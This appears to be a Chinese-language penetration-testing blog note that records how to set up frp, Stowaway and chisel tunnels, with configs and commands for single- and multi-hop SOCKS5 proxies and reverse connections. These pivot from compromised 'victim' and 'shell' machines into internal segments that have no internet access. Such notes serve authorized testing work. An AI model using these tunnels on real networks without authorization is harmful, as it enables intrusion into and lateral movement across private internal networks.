记录几个比较好用的内网穿透工具
frp
这个是比较早的一款内网穿透工具了
一级代理
服务端(我们的VPS) **frps.toml** 配置
完整的配置可参考 frps_full_example.toml
1 | bindPort = 49378 |
启动服务端命令./frps -c frps.toml 这里用toml配置文件是因为改版了ini配置文件在4.0的版本适用。
客户端(shell机器)**frpc.toml** 配置
完整配置可参考 frpc_full_example.toml
1 | serverAddr = "1.2.3.4" |
启动客户端命令./frpc -c frpc.toml
连接成功后,通过 socks5://<用户名>:<密码>@<服务端IP地址>:<服务端端口> 就可以直接代理进入到目标的内网了,可以访问任意内网资源、发起内网请求等。
多级代理
在实战中,我们拿下了内网机器A,通过内网机器A又拿下了内网机器B,但发现内网机器A不通172段,内网机器B通172段但不出网,这时我们想要通过VPS构建socks5隧道访问到172段,就需要建立多级代理;简单图示如下:
服务端(外网VPS)配置frps.toml一级代理 一致
1 | bindPort = 49378 |
由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。
其中服务端配置 frps.toml 如下:
1 | bindPort = 49378 |
客户端配置frpc.toml如下:
1 | serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址 |
接下来在客户端2(内网机器B)上配置 frpc.toml 如下,和客户端1(内网机器A)建立隧道。
1 | serverAddr = "1.2.3.5" # 改为 内网机器A 的地址 |
这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052 就可以访问到客户端2(内网机器B)的内网了。
Stowaway
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能;用于解决frp,nps等工具在搭建多级代理时操作过于复杂不便管理的问题。
一级代理
目标内网全部连通,只需要构建隧道进入到内网即可访问到所有的资源。
在服务端(VPS)启动:
1 | ./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32 |
在被控端(shell机器)启动:
1 | ./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32 |
建立连接后,在服务端选中上线的节点,并且执行socks命令即可。
1 | use 0 |
此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。
多级代理
外网VPS上执行:
1 | ./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32 |
内网机器A上执行:
1 | ./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32 |
这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口
1 | use 0 |
此时再在内网机器B上执行如下命令和内网机器A建立连接:
1 | ./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32 |
执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:
1 | use 1 |
此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。
chisel
chisel是一款基于HTTP的快速TCP/UDP隧道工具,具有SSH加密和断开重连机制,使用Go语言编写,支持多平台,且单一文件无依赖。该工具可以在攻击者和受害者之间建立连接,用于代理和访问特定端口。通过设置socks5代理,可以访问内部服务器。该工具还支持反向连接和二级代理。
一级代理
攻击者(kali): 192.168.6.131
受害者(windows): 192.168.6.129
拓扑如下:
攻击者(192.168.6.131)<–> 受害者(192.168.6.129,10.1.1.1)< – > 内部服务器 (10.1.1.2)
目标访问: 10.1.1.2
正向连接(socks)
跳板机(受害者)
1 | ./chisel server -p 12345 |
攻击者
1 | ./chisel client 192.168.6.129:12345 socks |
socks 代理绑定在了 1080 端口上,本地只要设置 socks5 代理就可以访问。
反向连接
攻击者(黑客)
1 | ./chisel server -p 12345 --reverse --socks5 |
跳板机(受害者)
1 | chisel.exe client 192.168.6.128:12345 R:socks |
此时攻击者通过设置socks代理就可以访问10.1.1.2的服务了
多级代理
访问特定端口
attack kali:
1 | chisel server -p 3333 --reverse |
web01:
开启两个终端,既要运行 client 也要运行 server
1 | chisel server -p 2222 --reverse |
1 | chisel client 192.168.126.132:3333 R:1111:127.0.0.1:5555 |
这里解释一下这里的R:1111是什么意思,指的是在kali端开启1111端口也就是说kali端开启socks代理通过访问1111就会访问到web01端的5555的端口上。
web02:
1 | chisel client 192.168.150.128:2222 R:5555:192.168.59.129:80 |
这里的R:5555的意思也很明显就是在web01开启5555端口当访问web01的5555端口就能访问到web02的80端口所以在 kali 上访问 127.0.0.1:1111,即可访问 192.168.59.129 的 80 端口。
socks代理
kali:
1 | chisel server -p 3333 --reverse |
web01:
开启两个终端,既要运行 client 也要运行 server
1 | chisel server -p 2222 --reverse --socks5 |
1 | chisel client 192.168.126.132:3333 R:1111:socks |
web02:
1 | chisel client 192.168.150.128:2222 R:5555:socks |
proxychains.conf 文件设置代理链
1 | socks5 127.0.0.1 1111 |
后续如果还有多级代理只需重复在web01上的步骤即可然后记得要在proxychains.conf添加上代理链
参考:
https://f0rget.me/2023/09/02/chisel-proxy/
https://lca.xlog.page/chisel-dai-li-gong-ju?locale=zh
https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/12.%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/03.%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/03.%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F.html#%E4%B8%80%E7%BA%A7%E4%BB%A3%E7%90%86